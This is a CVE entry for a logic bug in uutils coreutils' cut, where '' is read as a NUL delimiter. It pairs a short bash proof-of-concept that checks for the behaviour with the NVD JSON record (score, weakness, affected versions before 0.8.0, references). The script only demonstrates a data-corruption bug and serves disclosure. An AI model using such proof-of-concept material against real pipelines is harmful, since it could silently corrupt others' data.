CVE-2026-35380

#!/bin/bash # PoC for CVE-2026-35380: uutils coreutils cut logic error # This script demonstrates that "''" is interpreted as NUL delimiter echo "[*] Testing uutils cut with literal '' delimiter" # Create a file with NUL bytes (hex \00) to simulate data echo -ne 'part1\x00part2' > /tmp/test_data.txt echo "[+] Content of test file (hex representation):" hexdump -C /tmp/test_data.txt echo "[+] Attempting to cut using -d '' (two single quotes)" # Vulnerable versions will treat '' as NUL delimiter # Expected behavior (if fixed): treat as literal '' or error # Vulnerable behavior: splits on \x00 OUTPUT=$(cut -d "''" -f1 /tmp/test_data.txt) if [ "$OUTPUT" == "part1" ]; then echo "[!] Vulnerability Confirmed: Data was split on NUL byte. Output: $OUTPUT" else echo "[+] Not Vulnerable or behavior different. Output: $OUTPUT" fi

{"cve": {"id": "CVE-2026-35380", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:43.047", "lastModified": "2026-04-29T15:57:19.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic error in the cut utility of uutils coreutils causes the program to incorrectly interpret the literal two-byte string '' (two single quotes) as an empty delimiter. The implementation mistakenly maps this string to the NUL character for both the -d (delimiter) and --output-delimiter options. This vulnerability can lead to silent data corruption or logic errors in automated scripts and data pipelines that process strings containing these characters, as the utility may unintentionally split or join data on NUL bytes rather than the intended literal characters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.8.0", "matchCriteriaId": "2365DBBD-6F10-4651-8DA4-08AE79E14423"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/11399", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.8.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}